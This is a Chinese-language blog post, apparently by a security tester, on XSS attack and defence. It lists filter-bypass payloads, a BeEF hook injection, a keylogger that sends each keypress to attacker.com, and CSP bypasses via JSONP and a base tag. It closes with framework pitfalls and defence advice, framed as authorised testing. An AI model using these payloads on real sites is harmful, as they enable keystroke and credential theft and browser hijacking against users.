去年在做某内部系统的安全测试时,我发现了一个有趣的XSS漏洞。当时觉得这个案例挺有代表性的,今天整理出来和大家分享一下XSS攻防的一些经验,希望对做安全测试的同学有所帮助。

绕过过滤器的几种常见思路

大小写混淆

很多开发在做输入过滤时,只简单地过滤了<script>标签,这时候就可以尝试大小写混淆:

<ScRiPt>alert(1)</sCrIpT>
<SCRIPT>alert(1)</SCRIPT>

实际测试中发现,某些老旧系统的WAF对大小写还是不够敏感的。

编码绕过

编码是个大杀器,包括HTML实体编码、URL编码、Unicode编码等:

<!-- HTML实体编码 -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

<!-- 十六进制编码 -->
<img src=x onerror="\x61\x6c\x65\x72\x74(1)">

<!-- Unicode编码 -->
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">

之前遇到过一个案例,开发过滤了alert关键字,但用HTML实体编码后就能绕过。

标签变形技巧

不要只盯着<script>标签,可以利用的标签和属性其实很多:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>

有时候在注释区、搜索框这些地方测试,用<img>标签的成功率反而更高。

事件处理器的妙用

除了常见的onerroronload,还有很多不太常用但很有效的事件:

<div onmouseover="alert(1)">hover me</div>
<input onchange="alert(1)">
<form onsubmit="alert(1)">
<video oncanplay="alert(1)">
<audio onloadstart="alert(1)">

高级利用场景

BeEF框架的实战应用

BeEF(Browser Exploitation Framework)是XSS利用中的瑞士军刀。找到XSS点后,注入BeEF的hook.js:

<script src="http://your-beef-server:3000/hook.js"></script>

这样就能获得目标浏览器的控制权。我曾经用BeEF演示过:

  • 获取浏览器指纹信息
  • 探测内网资产
  • 截取用户按键
  • 劫持表单提交
  • 钓鱼攻击

当然,这些操作必须在授权的渗透测试环境下进行。

键盘记录实现

通过XSS可以实现键盘记录,获取用户输入的敏感信息:

document.addEventListener('keypress', function(e) {
    var key = e.key || String.fromCharCode(e.keyCode);
    new Image().src = 'http://attacker.com/log?key=' + encodeURIComponent(key);
});

这段代码会把用户的每次按键都发送到攻击者服务器。在实际测试中,我用这个方法成功捕获到了测试账号的密码输入。

XSS蠕虫分析

XSS蠕虫最经典的案例是2005年的Samy蠕虫,它在MySpace上疯狂传播。基本原理是利用XSS漏洞,让受害者的浏览器自动执行代码,并将蠕虫代码传播给其他用户。

一个简化的蠕虫模型:

// 读取当前用户的好友列表
// 向每个好友的留言板发送包含蠕虫代码的消息
// 消息中包含相同的XSS payload

CSP绕过的几个案例

Content Security Policy本来是用来防XSS的,但配置不当反而会被绕过。

案例一:不安全的域白名单

如果CSP配置了script-src 'self' *.cdn.com,而cdn.com上可以上传文件,那就可以上传恶意JS文件绕过CSP。

案例二:JSONP端点利用

某些网站CSP允许了信任域名,但该域名上存在JSONP端点:

<script src="https://trusted-domain.com/jsonp?callback=alert(1)"></script>

这样就能执行任意JavaScript代码。

案例三:base标签注入

如果CSP没有限制base-uri,可以注入base标签改变相对路径的基准:

<base href="http://attacker.com/">

这会导致页面加载攻击者服务器上的资源。

现代前端框架的XSS防护

React的防护机制

React默认会对渲染的内容进行转义,这是个很好的防护措施。但要注意dangerouslySetInnerHTML这个API:

// 危险用法
<div dangerouslySetInnerHTML={{__html: userInput}} />

这个API会绕过React的XSS防护,必须谨慎使用。

Vue的防护与缺陷

Vue也有类似的机制,但v-html指令同样存在风险:

<!-- 危险 -->
<div v-html="userInput"></div>

之前审计代码时发现,有些开发为了方便渲染富文本内容,直接用v-html绑定用户输入,这是很危险的。

Angular的DomSanitizer

Angular的安全模型相对更严格,但也要注意bypassSecurityTrustHtml这类方法:

// 绕过了Angular的安全检查
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(userInput);

防护建议

经过这些年的实践,我总结了几点防护建议:

  1. 输入验证:对所有用户输入进行白名单验证,而不是黑名单过滤
  2. 输出编码:根据上下文选择合适的编码方式(HTML编码、JavaScript编码、URL编码等)
  3. CSP配置:严格配置CSP策略,避免使用unsafe-inlineunsafe-eval
  4. HttpOnly Cookie:敏感Cookie设置HttpOnly属性,防止被JavaScript读取
  5. 框架特性:充分利用框架的安全特性,避免使用危险API

最后说一句,XSS虽然是个老问题,但在实际环境中依然很常见。做安全测试时要多角度思考,不要局限于常规的测试方法。

如果大家在实际工作中遇到有趣的XSS案例,欢迎在评论区交流讨论。


本文所有案例均在授权的测试环境下进行,请勿用于非法用途

Q.E.D.


寻门而入,破门而出